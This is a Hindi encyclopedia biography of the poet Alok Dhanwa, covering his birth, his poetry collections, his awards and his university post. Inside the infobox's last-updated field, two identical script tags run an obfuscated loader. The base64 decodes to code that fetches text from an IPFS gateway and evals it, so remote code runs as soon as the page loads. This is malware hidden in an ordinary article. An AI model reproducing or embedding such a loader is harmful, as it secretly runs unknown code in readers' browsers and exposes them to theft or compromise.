आलोक धन्वा
आलोक धन्वा
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पूरा नाम | आलोक धन्वा |
जन्म | 2 जुलाई, 1948 |
जन्म भूमि | मुंगेर, बिहार |
कर्म-क्षेत्र | कवि |
मुख्य रचनाएँ | दुनिया रोज़ बनती है |
भाषा | हिन्दी |
शिक्षा | स्वाध्याय |
पुरस्कार-उपाधि | पहल सम्मान, नागार्जुन सम्मान, फ़िराक़ गोरखपुरी सम्मान, गिरिजा कुमार माथुर सम्मान-नई दिल्ली, प्रकाश जैन स्मृति सम्मान |
प्रसिद्धि | जनकवि के रूप में |
नागरिकता | भारतीय |
सम्प्रति | पटना निवासी आलोक धन्वा इन दिनों महात्मा गाँधी अंतर्राष्ट्रीय हिन्दी विश्वविद्यालय, वर्धा में कार्यरत हैं। |
अन्य जानकारी | इनकी रचनाओं में सार्वजनिक संवेदना, सार्वजनिक मानव पीड़ा, पीड़ा का विरोध, मर्म सब कुछ गहराई तक उतरता है जो हमें संवेदित ही नहीं आंदोलित भी करता है। |
अद्यतन | 15:36, 28 मार्च 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
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आलोक धन्वा (अंग्रेज़ी: Alok Dhanwa, जन्म: 2 जुलाई, 1948 मुंगेर, बिहार) प्रसिद्ध हिन्दी जनकवि हैं। आलोक धन्वा हिन्दी के उन बड़े कवियों में हैं, जिन्होंने 70 के दशक में कविता को एक नई पहचान दी। उनकी गोली दागो पोस्टर , जनता का आदमी , कपड़े के जूते और ब्रूनों की बेटियाँ जैसी कविताएँ बहुचर्चित रही है। ‘दुनिया रोज़ बनती है’ उनका बहुचर्चित कविता संग्रह है। इनकी कविताओं के अंग्रेज़ी और रूसी भाषा में अनुवाद भी हुये हैं।
कृतियाँ
- कविता-संग्रह
दुनिया रोज़ बनती है
- नई कविताएँ
- चेन्नई में कोयल
- ओस
- फूलों से भरी डाल
- बारिश
- सवाल ज़्यादा है
- रात
- उड़ानें
- श्रृंगार
- रेशमा
- भूल
- पाने की लड़ाई
- मुलाक़ातें
- आम के बाग़
- गाय और बछड़ा
- नन्हीं बुलबुल के तराने
एक अरसे के बाद महात्मा गाँधी अंतर्राष्ट्रीय हिन्दी विश्वविद्यालय की पत्रिका ‘बहुबचन’ में उनकी चार नई कविताएँ सामने आईं। इन कविताओं के छपने के बाद हिंदी जगत् में इनका व्यापक स्वागत हुआ है। इन चार कविताओं में से पर्यावरण दिवस 5 जून के अवसर पर दैनिक ‘अमर उजाला’ ने एक कविता ‘नन्हीं बुलबुल के तराने’ अपने रविवारीय संस्करण में प्रकाशित की है।
व्यक्तित्व
जनकवि "आलोक धन्वा" नई पीढ़ी के लिए एक हस्ताक्षर हैं। इस जनकवि ने जनता की आवाज़ में जनता के लिए सृजन कार्य किया है। "भागी हुई लड़कियां", जिलाधीश, गोली दागो पोस्टर सरीखी कई प्रासंगिक रचनाएं इनकी पूंजी हैं। सहज और सुलभ दो शब्द इनके व्यक्तित्व की पहचान हैं। हर नुक्कड़ नाटक में धन्वा उपस्थित होते हैं। केवल उपस्थिति नहीं उसे बल भी देते हैं। इस जनकवि के लिए कई बड़े मंच दोनों हाथ खोल कर स्वागत करते हैं। हालांकि बकौल धन्वा उन्हें जनता के मंच पर रहना ही बेहतर लगता है। सलीके से फक्कड़ता को अपने साथ रखने वाले आलोक धन्वा बेहद संवेदनशील हैं। इनका व्यक्तित्व इनकी संवेदना कतई व्यक्तिगत नहीं रहा है। कवि धन्वा की रचनाओं में सार्वजनिक संवेदना, सार्वजनिक मानव पीड़ा, पीड़ा का विरोध, मर्म सब कुछ गहराई तक उतरता है जो हमें संवेदित ही नहीं आंदोलित भी करता है।
सम्मान और पुरस्कार
- पहल सम्मान
- नागार्जुन सम्मान
- फ़िराक गोरखपुरी सम्मान
- गिरिजा कुमार माथुर सम्मान-नई दिल्ली
- भवानी प्रसाद मिश्र स्मृति सम्मान
सम्प्रति
पटना निवासी आलोक धन्वा इन दिनों महात्मा गाँधी अंतर्राष्ट्रीय हिन्दी विश्वविद्यालय, वर्धा में कार्यरत हैं।
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टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
- जनकवि "आलोक धन्वा" (फ़ेसबुक पर)
- शोध:समकालीन कविता में प्रकृति वाया आलोक धन्वा /हरि प्रताप(दिल्ली)
- कविता बहुत कठिन कर्म है : आलोकधन्वा
- आजादी के बाद हमने क्या खोया, क्या पाया?
- आलोकधन्वा: दो पग कम चलना पर चलना मटक के
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वर्णमाला क्रमानुसार लेख खोज
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